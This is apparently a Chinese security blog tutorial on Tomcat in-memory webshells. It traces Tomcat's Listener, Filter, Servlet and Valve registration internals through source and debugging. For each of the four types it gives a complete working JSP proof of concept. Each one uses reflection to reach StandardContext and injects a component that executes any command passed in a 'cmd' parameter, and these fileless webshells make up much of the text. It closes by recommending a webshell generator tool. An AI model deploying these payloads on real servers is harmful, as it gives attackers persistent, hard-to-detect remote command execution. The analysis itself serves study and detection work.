内存马大致可以分为两种,第一种是利用Java Web的组件,如Tomcat下的动态添加Servlet、Filter、Listener的恶意组件,在Spring框架下就是Controller、Intercepter。第二种是修改字节码,如利用Java的Instrument机制,动态注入Agent。
本文分析Tomcat型内存马的四种类型,分别为Listener型、Filter型、Servlet型Valve型;学习内存马之前,还需要了解Java Web三大组件、tomcat、jsp的基础知识。
前置基础
基础知识只写了一些简单介绍
三大组件
Java Web三大组件:Listener、Filter、Servlet
简单介绍如下
- Listener:它是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法。
- Filter:它用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。浏览器发出的请求再发送到Servlet之前会先经过Filter。
- Servlet:它用来处理客户端发送的请求,并发送给对应的Servlet进行处理
Tomcat架构
Tomcat是java应用服务器,是Servlet容器。
从组件角度看分为Server、Service、Connector、Contaier四部分

- Server:表示服务器,所有的一切都包含在Server中
- Service:表示服务,Server中可运行多个Service服务;一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。
- Connector:表示连接器,它将Service和Container连接起来,主要就是把客户端的请求转发给Container容器。
- Contaier:表示容器,是Servlet容器。包括 Engine、Host、Context、Wrapper容器,它们均继承自Container接口。
Contaier层级关系如下:
Engine
└── Host(虚拟主机)
└── Context(Web 应用)
└── Wrapper(Servlet 实例)
Context
Context是Container组件的一种子容器,一个Context对应一个Web应用。
存在三种Context分别为ServletContext、ApplicationContext、StandardContext。
ServletContext接口,用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。
三种context的关系
ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。
Tomcat内存马
Tomcat内存马原理就是可以动态的将恶意组件添加到正在运行的Tomcat服务器中,而组件有Listener、Filter、Servlet,我们可以写恶意的组件,并把它动态注册到tomcat中就可以利用,因此内存马的类型就包含Listener型、Filter型和Servlet型内存马。
Listener型
Listener大致可以分为ServletContextListener、HttpSessionListener、ServletRequestListener三种,其中ServletRequestListener是用来监听ServletRequest的,当客户端访问任意路径时,都会触发ServletRequestListener#requestInitialized()的方法,因此很适合做内存马。
先在tomcat中写一个恶意的Listener测试,看看能不能执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package Listener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import javax.servlet.http.HttpServletRequest; import java.io.IOException; @WebListener public class ListenerTest implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest)sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } @Override public void requestDestroyed(ServletRequestEvent sre) { } }
|

通过cmd参数传入命令

成功执行命令说明这个恶意Linstener可以利用,接下来就需要利用动态注册的方式把这个Listener添加进tomcat服务器中。
创建Linstener流程分析
想把Linstener动态注册到tomcat中,先调试看一下它的创建流程,看看需要什么条件。
分析如下:
- 这里可以看到Standardcontext类的FireRequestInitEvent()方法可以调用我们的Listener

StandardContext#fireRequestInitEvent()源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public boolean fireRequestInitEvent(ServletRequest request) { Object instances[] = getApplicationEventListeners(); if ((instances != null) && (instances.length > 0)) { ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request); for (Object instance : instances) { if (instance == null) { continue; } if (!(instance instanceof ServletRequestListener)) { continue; } ServletRequestListener listener = (ServletRequestListener) instance; try { listener.requestInitialized(event); } catch (Throwable t) { ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.requestListener.requestInit", instance.getClass().getName()), t); request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t); return false; } } } return true; }
|
Object instances[] = getApplicationEventListeners();
这里定义了一个数组,并通过getApplicationEventListeners方法获取Listener数组
继续跟进一下getApplicationEventListeners()
方法
可以看到该方法返回了applicationEventListenersList
因此可以知道Listener实际是储存在applicationEventListenersList
中的,因此可以使用addApplicationEventListener
方法将恶意Listener添加进去

内存马编写
分析完创建流程 内存马编写思路就清晰了,编写流程如下:
- 先获取StandardContext类
- 编写恶意Listener
- 通过addApplicationEventListener()添加Linstener
获取StandardContext类
在调试过程中可以发现StandardHostValve
类可以通过request方法获取StandardContext类,而JSP也内置了request对象,因此可以用request获取StandardContext类

还是老样子先用用反射获取request,然后再获取StandardContext
1 2 3 4 5
| <% Field req =request.getClass().getDeclaredField("request"); req.setAccessible(true); Request req1 = (Request) req.get(request); StandardContext context = (StandardContext)req1.getContext(); %>
|
另一种获取StandardContext方法
1 2 3 4 5
| <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); %>
|
编写恶意Listener
上面已经写过了,这里直接粘贴
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| @WebListener public class ListenerTest implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest)sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } @Override public void requestDestroyed(ServletRequestEvent sre) { } }
|
添加Listener
1 2 3 4
| <% LinstenerTest linstentest = new LinstenerTest(); context.addApplicationEventListener(linstentest); %>
|
合并一起如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="jdk.nashorn.internal.ir.RuntimeNode" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="Listener.ListenerTest" %> <%@ page import="java.io.IOException" %> <%! public class ListenerTest implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest)sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed(ServletRequestEvent sre) { } }%> <% Field req =request.getClass().getDeclaredField("request"); req.setAccessible(true); Request req1 = (Request) req.get(request); StandardContext context = (StandardContext)req1.getContext(); ListenerTest linstentest = new ListenerTest(); context.addApplicationEventListener(linstentest); %>
|
请求任意路径就可以动态注册Listener,如下看到成功执行命令

Filter型
同理,也可以动态添加恶意Filter,而Filter是在FilterChain中通过doFilter()按顺序一个一个被调用的,因此可以把Filter添加进FilterChain中,

编写一个恶意Filer测试,看看能不能用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package Filter; import javax.servlet.FilterChain; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.annotation.WebFilter; import java.io.IOException; import javax.servlet.*; @WebFilter("/*") public class FilterTest implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
|
成功执行,说明恶意Filter写的没有问题

Filter流程分析
打上断点调试

发现ApplicationFilterChain
类下的internalDoFilter()
方法调用了我们创建的恶意Filter;跟进看一下,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && "false".equalsIgnoreCase( filterConfig.getFilterDef().getAsyncSupported())) { request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE); } if( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; Principal principal = ((HttpServletRequest) req).getUserPrincipal(); Object[] args = new Object[]{req, res, this}; SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal); } else { filter.doFilter(request, response, this); } } ......#省略 }
|
发现有一个filterConfig数组(一个Filter对应一个filterConfig,用来存储filter上下文信息)且filter是通过filterConfig.getFilter()获取的

ctrl+左键跟进filters,发现它是ApplicationFilterConfig属性的数组

且调用了dofilter()方法

接下来找一下ApplicationFilterChain.filters
是在哪里被赋值的
我们应该往前找,找到了StandardWrapperValve#invoke()
方法

在StandardWrapperValve#invoke()
方法中,通过ApplicationFilterFactory.createFilterChain()
方法初始化了一个ApplicationFilterChain
类

跟进ApplicationFilterFactory.createFilterChain()
方法,看一下FilterChain是怎么创建的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { ... filterChain = new ApplicationFilterChain(); filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); ... String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { ... ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); ... filterChain.addFilter(filterConfig); } ... return filterChain; }
|
- 通过上面源码总结FilterChain的创建流程
第一步通过filterChain = new ApplicationFilterChain()
创建FilterChain
第二步通过StandardContext context = (StandardContext) wrapper.getParent();
获取StandardContext对象
第三步通过StandardContext的findFilterMaps()
获取FilterMap,其中包含Filter的名称及路径信息
第四步通过context.findFilterConfig(filterMap.getFilterName())
->Filter名称与findFilterConfig
获取FilterConfig
第五步 通过filterChain.addFilter(filterConfig);
将filterConfig添加进filterChain中;其中addFilter()方法会把filterconfig添加进Filters中
因此接下来需要把恶意Filter的信息添加进FilterConfig数组中,这样恶意Filter就会被初始化到Filters中。
动态注册Filter条件
调试createFilterChain过程中发现StandardContext包含 filterConfigs、filterMap、filterDefs(filter的定义)三个属性,因此动态注册时需要添加这三个属性。
FilterDef就是对应web.xml中的filter标签
1 2 3 4
| <filter> <filter-name>filter</filter-name> <filter-class>filter</filter-class> </filter>
|
filterMap
1 2 3 4
| <filter-mapping> <filter-name></filter-name> <url-pattern></url-pattern> </filter-mapping>
|
内存马编写
- 获取StandardContext对象
- 创建恶意Filter
- 使用FilterDef定义Filter
- 创建FilterMap
- 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext对象
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,可以将ServletContext转化为StandardContext使用
1 2 3 4 5 6 7 8 9 10 11 12
| ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
恶意Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class FilterTest implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
|
使用FilterDef定义Filter
1 2 3 4 5 6
| String name = "FilterTest"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
|
创建FilterMap
1 2 3 4 5
| FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
|
封装filterConfig和filterDef到filterConfigs
1 2 3 4 5 6 7 8
| Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig);
|
合并
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);%> <%! public class FilterTest implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }%> <% FilterTest filter = new FilterTest(); String name = "FilterTest"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig);%>
|
先访问jsp

执行命令成功

Servlet型
看完前两个就能把整体的流程理解了,Servlet型流程大概也是相同的:
创建一个恶意Servlet->
分析正常Servlet的创建过程->
根据上一步分析找到的注册方法把恶意Servlet动态注册进去。
Servlet接口介绍
大概看一下创建流程,想办法把恶意Servlet添加进去。
- 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
- 初始化:当Servlet被实例化后,Tomcat会调用
init()
方法初始化这个对象
- 处理服务:当浏览器访问Servlet的时候,Servlet 会调用
service()
方法处理请求
- 销毁:
destroy()
方法释放资源
- 卸载:当Servlet调用完
destroy()
方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()
方法进行初始化操作
Servlet接口源码

源码如下:
1 2 3 4 5 6 7 8 9 10 11
| public interface Servlet { public void init(ServletConfig config) throws ServletException; public ServletConfig getServletConfig(); public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException; public String getServletInfo(); public void destroy(); }
|
init()
它会在创建实例后被调用一次;getServletConfig()
方法会返回一个ServletConfig类型的对象,包含servlet初始化和启动参数等;其中最重要的是service()
,当每次调用Servlet时都会调用service()
方法,该方法中实现了具体对请求的处理。getServletInfo()
就是表面意思获取Servlet的详情,比如版本作者信息等;destroy()
就是用来释放资源的。
看完接口详情就有写恶意Servlet的思路了,我们可以把执行命令的方法写在service()
方法中。
恶意Servlet测试
这里先写一个最简单的恶意Servlet用来测试是否能利用,后续会继续完善
恶意Servlet如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package Servlet; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException; @WebServlet("/ServletShell") public class ServletTest implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }
|
虽然显示404,但是已经成功执行命令,说明恶意Servlet写的没问题

Servlet创建流程及分析
StandardWrapper是 Servlet 容器中包装单个 Servlet 的组件并提供以下功能:
- 管理 Servlet 的生命周期(初始化、服务和销毁
- 维护 Servlet 的配置信息(初始化参数等)
- 处理 Servlet 的安全约束
- 管理 Servlet 的加载和实例化
分析
我们只需要知道其中两步就能够理解,第一步创建StandardWrapper,第二步加载StandardWrapper
创建StandardWrapper分析
调试分析总结如下
- StandardContext类
startInternal()
中会调用fireLifecycleEvent()
解析web.xml文件

- 跟进
fireLifecycleEvent()
看一下

- 接下来会走到ContextConfig类下的webConfig()方法,获取web.xml中的各种参数配置

- 接着通过
configureContext(WebXml webxml)
创建并初始化StandardWapper对象

源码详情与解读如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| private void configureContext(WebXml webxml) { context.setPublicId(webxml.getPublicId()); ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null) { } if (servlet.getEnabled() != null) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } } ... }
|
最终通过addChild(wrapper)
,将包装好的StandWrapper添加进ContainerBase的children属性中。并通过addServletMappingDecoded(entry.getKey(), entry.getValue())
将url和servlet进行映射。
同时需要注意一下在该方法中还设置了三个属性,分别为LoadOnStartup、ServletName、ServletClass。
加载StandardWrapper
- 用StandardWrapper的
startInternal()
方法获取StandardWrapper

- 下一步走到
loadOnStartup()
方法,用来加载wapper,跟进看一下

其中需要注意存在一个if条件,if (loadOnStartup < 0) { continue; }
,需要loadOnStartup大于0才能被放进list中,进而才能被wrapper.load
加载。
动态注册Servlet
通过分析Servlet的创建,总结一下动态注册Servlet的流程及内存马编写流程
- 获取StandardContext对象
- 编写恶意Servlet
- 通过StandardContext.creatWarpper()创建StandardWrapper对象
- 通过StandardWrapper设置上方提到过的三种属性值
- 将StandardWrapper添加进StradardContext对象的children属性中
- 添加路径映射
首先从第一步开始
获取StandardContext对象
1 2 3 4 5 6
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
|
或者
1 2 3 4 5 6 7 8 9
| <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
|
编写恶意Servlet
上文已经编写过了,直接粘贴
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package Servlet; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException; public class ServletTest implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }
|
创建Wrapper对象
1 2 3 4 5 6 7 8 9 10
| <% ServletTest ServletTest = new ServletTest(); String name = ServletTest.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(ServletTest); wrapper.setServletClass(ServletTest.getClass().getName()); %>
|
将Wrapper添加进StandardContext
1 2 3 4
| <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/ServletShell",name); %>
|
合并一下就是最终POC
最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext();%> <%! public class ServletTest implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } } %> <% ServletTest ServletTest = new ServletTest(); String name = ServletTest.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(ServletTest); wrapper.setServletClass(ServletTest.getClass().getName());%> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/ServletShell",name); %>
|
使用时先访问Servlet.jsp路径注册,再访问/ServletShell?cmd执行命令即可

成功执行命令

动态注册流程图

Valve型
Valve型和其他几种没有太大区别,唯一需要了解的就是Valve这个东西。
Valve基础
Tomcat
使用 Pipeline(管道) + Valve(阀门) 的机制来处理请求,Pipeline 是一个责任链,包含多个Valve
,请求会依次经过这些 Valve 处理。Valve 类似于Filter,用于在请求处理流程中插入自定义逻辑(类似过滤器或拦截器),但是它更贴近底层,且Valve的调用流程也和Filter的调用链类似。最后一个Valve 是 Basic Valve
,负责调用最终的Servlet/JSP
。
请求进入 Tomcat 后,会按照 Engine → Host → Context → Wrapper
的顺序逐层传递。它们都有其对应的Valve类,例如StandardEngineValve
、StandardHostValve
等,它们同时维护一个StandardPipeline
实例。最终,请求会到达 StandardWrapperValve
,由它负责调用目标 Servlet,完成业务逻辑处理。

Pipeline和Valve接口介绍
跟进一下Pipeline和Valve接口,了解一下详情,方便后续编写。
Pipeline

源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public interface Pipeline extends Contained {
public Valve getBasic();
public void setBasic(Valve valve);
public void addValve(Valve valve);
public Valve[] getValves();
public void removeValve(Valve valve);
public Valve getFirst();
public boolean isAsyncSupported();
public void findNonAsyncValves(Set<String> result); }
|
可以看到Pipeline
接口有很多对Valve操作的方法,例如,添加、删除、获取Valve等,需要注意addValve()
方法,它可以用来添加我们构造好的恶意Valve。
再看一下Valve接口
Valve

源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public interface Valve { public Valve getNext(); public void setNext(Valve valve); public void backgroundProcess(); public void invoke(Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported(); }
|
可以看到其中有一个invoke()
方法需要注意,我们编写恶意Valve时就需要重写invoke()
方法,来实现我们的内存马。其余的方法,getNext()
是用来获取下一个valve的,前文已经说过了,Valve是Filter类似,有责任链;setNext(Valve valve)
用来设置当前阀门(Valve)的下一个处理节点。
请求处理流程分析
既然它和Filter类似,编写内存马流程也是相同的,先编写一个恶意Valve,再通过动态注册添加进去,接下来分析一下请求处理流程和看一下Valve是怎么被调用的以便于找到的动态注册添加恶意Valve的方法。
在 Tomcat 中,HTTP 请求消息从Connector
接收后,经过一系列容器(Container)处理,最终到达目标 Servlet。
其中CoyoteAdapter#service
是用来连接Connector和容器的,跟进一下该方法看看是怎么传递的消息的。

源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
Request request = (Request) req.getNote(ADAPTER_NOTES); Response response = (Response) res.getNote(ADAPTER_NOTES);
if (request == null) { request = connector.createRequest(); request.setCoyoteRequest(req); response = connector.createResponse(); response.setCoyoteResponse(res);
request.setResponse(response); response.setRequest(request);
req.setNote(ADAPTER_NOTES, request); res.setNote(ADAPTER_NOTES, response);
req.getParameters().setQueryStringCharset(connector.getURICharset()); } ... req.getRequestProcessor().setWorkerThreadName(THREAD_NAME.get());
try { postParseSuccess = postParseRequest(req, request, res, response); if (postParseSuccess) { request.setAsyncSupported( connector.getService().getContainer().getPipeline().isAsyncSupported()); connector.getService().getContainer().getPipeline().getFirst().invoke( request, response); }
|
其中需要注意的是这一串

逐一解读
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)
其中connector.getService()
可以获取一个StandardService
对象,这样就变成了StandardService.getContainer().getPipeline()
,后边的先不看,它又可以获取一个StandardPipeline
对象,这样就变成StandardPipeline.getFirst()
,它可以获得第一个Valve。
最终变为StandardEngineValve.invoke()
,来处理业务逻辑。
后续也会继续调用下一个Valve,流程图如下:

动态注册Valve
通过分析上述流程,总结得到动态注册Valve的流程
- 获取
StandardContext
对象,再通过它获取StandardPipeline
对象
- 编写恶意Valve
- 通过
StandardPipeline.addValve()
动态添加我们编写的恶意Valve
获取StandardContext与StandardPipeline
还是通过反射获取
1 2 3 4 5 6 7 8
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline(); %>
|
编写恶意Valve
接收一个cmd参数,并调用一个Runtime执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <%! class ValveShell extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } %>
|
添加恶意Valve
使用addValve添加
1 2 3 4
| <% ValveShell valveshell = new ValveShell(); pipeline.addValve(valveshell); %>
|
最终内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.Pipeline" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); Pipeline pipeline = standardContext.getPipeline();%> <%! class ValveShell extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } }%> <% ValveShell valveshell = new ValveShell(); pipeline.addValve(valveshell);%>
|
先访问注册

然后访问任意路径即可执行命令

弹出计算器说明写的没问题
内存马的生成与利用
关于内存马的生成,目前内存马的形式太多,真实情况下,肯定不会自己手搓内存马,本篇文章只是为了分析内存马的原理而写,可以使用内存马生成工具或者一些Webshell管理工具自带的,我经常用到生成工具是一个叫JMG的工具,可以自定义生成各种内存马,感觉还可以。
